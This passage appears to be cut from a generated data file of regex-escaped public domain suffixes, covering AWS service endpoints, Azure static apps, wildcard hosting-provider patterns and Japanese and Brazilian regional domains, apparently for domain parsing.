zonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-object\\\\-lambda\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"s3\\\\-website\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"s3\\\\-website\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"s3\\\\-website\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\-website\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.af\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-northeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-northeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-northeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-southeast\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-southeast\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-southeast\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-southeast\\\\-4\\\\.amazonaws\\\\.com\",\"s3\\\\.ap\\\\-southeast\\\\-5\\\\.amazonaws\\\\.com\",\"s3\\\\.ca\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.ca\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-central\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-north\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-south\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.eu\\\\-west\\\\-3\\\\.amazonaws\\\\.com\",\"s3\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"s3\\\\.il\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.isk01\\\\.sakurastorage\\\\.jp\",\"s3\\\\.isk02\\\\.sakurastorage\\\\.jp\",\"s3\\\\.me\\\\-central\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.me\\\\-south\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"s3\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"s3\\\\.ru\\\\-msk\\\\.k2\\\\.cloud\",\"s3\\\\.ru\\\\-spb\\\\.k2\\\\.cloud\",\"s3\\\\.sa\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.us\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.us\\\\-east\\\\-2\\\\.amazonaws\\\\.com\",\"s3\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.us\\\\-west\\\\-1\\\\.amazonaws\\\\.com\",\"s3\\\\.us\\\\-west\\\\-2\\\\.amazonaws\\\\.com\",\"scbl\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"scbl\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"scbl\\\\.pl\\\\-waw\\\\.scw\\\\.cloud\",\"sg\\\\-1\\\\.paas\\\\.massivegrid\\\\.net\",\"ssl\\\\.origin\\\\.cdn77\\\\-secure\\\\.org\",\"studio\\\\-fips\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\-fips\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.af\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-northeast\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-northeast\\\\-2\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-northeast\\\\-3\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-southeast\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-southeast\\\\-2\\\\.sagemaker\\\\.aws\",\"studio\\\\.ap\\\\-southeast\\\\-3\\\\.sagemaker\\\\.aws\",\"studio\\\\.ca\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-central\\\\-2\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-north\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-south\\\\-2\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"studio\\\\.eu\\\\-west\\\\-3\\\\.sagemaker\\\\.aws\",\"studio\\\\.il\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.me\\\\-central\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.me\\\\-south\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.sa\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.us\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.us\\\\-east\\\\-2\\\\.sagemaker\\\\.aws\",\"studio\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.us\\\\-west\\\\-1\\\\.sagemaker\\\\.aws\",\"studio\\\\.us\\\\-west\\\\-2\\\\.sagemaker\\\\.aws\",\"transfer\\\\-webapp\\\\-fips\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\-fips\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.af\\\\-south\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-east\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-northeast\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-northeast\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-northeast\\\\-3\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-south\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-south\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-southeast\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-southeast\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-southeast\\\\-3\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-southeast\\\\-4\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-southeast\\\\-5\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ap\\\\-southeast\\\\-7\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ca\\\\-central\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.ca\\\\-west\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-central\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-central\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-north\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-south\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-south\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-west\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-west\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.eu\\\\-west\\\\-3\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.il\\\\-central\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.me\\\\-central\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.me\\\\-south\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.mx\\\\-central\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.sa\\\\-east\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.us\\\\-east\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.us\\\\-east\\\\-2\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.us\\\\-gov\\\\-east\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.us\\\\-gov\\\\-west\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.us\\\\-west\\\\-1\\\\.on\\\\.aws\",\"transfer\\\\-webapp\\\\.us\\\\-west\\\\-2\\\\.on\\\\.aws\",\"user\\\\.aseinet\\\\.ne\\\\.jp\",\"usr\\\\.cloud\\\\.muni\\\\.cz\",\"web\\\\.core\\\\.usgovcloudapi\\\\.net\",\"web\\\\.core\\\\.windows\\\\.net\",\"website\\\\.ru\\\\-msk\\\\.k2\\\\.cloud\",\"website\\\\.ru\\\\-spb\\\\.k2\\\\.cloud\",\"whm\\\\.fr\\\\-par\\\\.scw\\\\.cloud\",\"whm\\\\.nl\\\\-ams\\\\.scw\\\\.cloud\",\"1\\\\.azurestaticapps\\\\.net\",\"2\\\\.azurestaticapps\\\\.net\",\"3\\\\.azurestaticapps\\\\.net\",\"4\\\\.azurestaticapps\\\\.net\",\"5\\\\.azurestaticapps\\\\.net\",\"6\\\\.azurestaticapps\\\\.net\",\"7\\\\.azurestaticapps\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.0e\\\\.vc\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.0emm\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.advisor\\\\.ws\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.aivencloud\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.alces\\\\.network\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.appwrite\\\\.run\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.atlassian\\\\-3p\\\\-us\\\\-gov\\\\-mod\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.atlassian\\\\-3p\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.atlassian\\\\-isolated\\\\-3p\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.auiusercontent\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.awdev\\\\.ca\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.awsapprunner\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.azurecontainer\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.beget\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.begetcdn\\\\.cloud\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.build\\\\.run\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.builtwithrocket\\\\.new\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.bwcloud\\\\-os\\\\-instance\\\\.de\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cloudera\\\\.site\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cn\\\\.st\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.code\\\\.run\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.compute\\\\.estate\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.cursorusercontent\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.customer\\\\-oci\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.database\\\\.run\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.developer\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.devinapps\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.digitaloceanspaces\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.dweb\\\\.link\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eth\\\\.limo\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.eth\\\\.link\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.ewp\\\\.live\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.firenet\\\\.ch\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.frusky\\\\.de\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.futurecms\\\\.at\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.gateway\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.hosted\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.icp\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.id\\\\.pub\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.inbrowser\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.inbrowser\\\\.link\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.kawasaki\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.kin\\\\.one\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.kin\\\\.pub\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.kitakyushu\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.kobe\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.lcl\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.lclstage\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.linodeobjects\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.localto\\\\.net\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.lutrausercontent\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.magentosite\\\\.cloud\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.metaaiusercontent\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.migration\\\\.run\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.moonscale\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.nagoya\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.nom\\\\.br\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.northflank\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.nxa\\\\.eu\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.oaiusercontent\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.on\\\\-k3s\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.on\\\\-rancher\\\\.cloud\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.on\\\\-rio\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.oraclecloudapps\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.oraclegovcloudapps\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.oraclegovcloudapps\\\\.uk\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.otap\\\\.co\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.owo\\\\.codes\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.paywhirl\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.platformsh\\\\.site\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.qualyhqpartner\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.qualyhqportal\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.quipelements\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.run\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.sapporo\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.sch\\\\.uk\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.sendai\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.snowflake\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.statics\\\\.cloud\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.stg\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.stgstage\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.stolos\\\\.io\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.telebit\\\\.xyz\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.transurl\\\\.be\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.transurl\\\\.eu\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.transurl\\\\.nl\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.triton\\\\.zone\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.tst\\\\.site\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.upsun\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.user\\\\.fm\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.usercontent\\\\.goog\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.vultrobjects\\\\.com\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.wadl\\\\.top\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.webhare\\\\.dev\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.xenonconnect\\\\.de\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.xmit\\\\.co\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.yokohama\\\\.jp\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.zerops\\\\.app\",\"[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\\\\.zerops\\\\.zone\",\"\\\\!city\\\\.kawasaki\\\\.jp\",\"\\\\!city\\\\.kitakyushu\\\\.jp\",\"\\\\!city\\\\.kobe\\\\.jp\",\"\\\\!city\\\\.nagoya\\\\.jp\",\"\\\\!city\\\\.sapporo\\\\.jp\",\"\\\\!city\\\\.sendai\\\\.jp\",\"\\\\!city\\\\.yokohama\\\\.jp\",\"abashiri\\\\.hokkaido\\\\.jp\",\"abeno\\\\.osaka\\\\.jp\",\"aberdeen\\\\.wa\\\\.us\",\"abiko\\\\.chiba\\\\.jp\",\"abira\\\\.hokkaido\\\\.jp\",\"abu\\\\.yamaguchi\\\\.jp\",\"ac\\\\.gov\\\\.br\",\"ac\\\\.leg\\\\.br\",\"achi\\\\.nagano\\\\.jp\",\"act\\\\.edu\\\\.au\",\"adachi\\\\.tokyo\\\\.jp\",\"adimo\\\\.co\\\\.uk\",\"af\\\\-south\\\\-1\\\\.elasticbeanstalk\\\\.com\",\"affinitylottery\\\\.org\\\\.uk\",\"aga\\\\.niigata\\\\.jp\",\"agano\\\\.niigata\\\\.jp\",\"agematsu\\\\.nagano\\\\.jp\",\"aguni\\\\.okinawa\\\\.jp\",\"aibetsu\\\\.hokkaido\\\\.jp\",\"aikawa\\\\.kanagawa\\\\.jp\",\"ainan\\\\.ehime\\\\.jp\",\"aioi\\\\.hyogo\\\\.jp\",\"aisai\\\\.aichi\\\\.jp\",\"aisho\\\\.shiga\\\\.jp\",\"aizubange\\\\.fukushima\\\\.jp\",\"aizumi\\\\.tokushima\\\\.jp\",\"aizumisato\\\\.fukushima\\\\.jp\",\"aizuwakamatsu\\\\.fukushima\\\\.jp\",\"akabira\\\\.hokkaido\\\\.jp\",\"akagi\\\\.shimane\\\\.jp\",\"akaiwa\\\\.okayama\\\\.jp\",\"akashi\\\\.hyogo\\\\.jp\",\"aki\\\\.kochi\\\\.jp\",\"akiruno\\\\.tokyo\\\\.jp\",\"akishima\\\\.tokyo\\\\.jp\",\"akita\\\\.akita\\\\.jp\",\"akkeshi\\\\.hokkaido\\\\.jp\",\"ako\\\\.hyogo\\\\.jp\",\"akune\\\\.kagoshima\\\\.jp\",\"al\\\\.eu\\\\.org\",\"al\\\\.gov\\\\.br\",\"al\\\\.leg\\\\.br\",\"am\\\\.gov\\\\.br\",\"am\\\\.leg\\\\.br\",\"ama\\\\.aichi\\\\.jp\",\"ama\\\\.shimane\\\\.jp\",\"amagasaki\\\\.hyogo\\\\.jp\",\"amakusa\\\\.kumamoto\\\\.jp\",\"amami\\\\.kagoshima\\\\.jp\",\"ami\\\\.ibaraki\\\\.jp\",\"ams\\\\.scw\\\\.site\",\"anamizu\\\\.ishikawa\\\\.jp\",\"anan\\\\.nagano\\\\.jp\",\"anan\\\\.tokushima\\\\.jp\",\"ando\\\\.nara\\\\.jp\",\"anjo\\\\.aichi\\\\.jp\",\"ann\\\\-arbor\\\\.mi\\\\.us\",\"annaka\\\\.gunma\\\\.jp\",\"anpachi\\\\.gifu\\\\.jp\",\"aogaki\\\\.hyogo\\\\.jp\",\"aogashima\\\\.tokyo\\\\.jp\"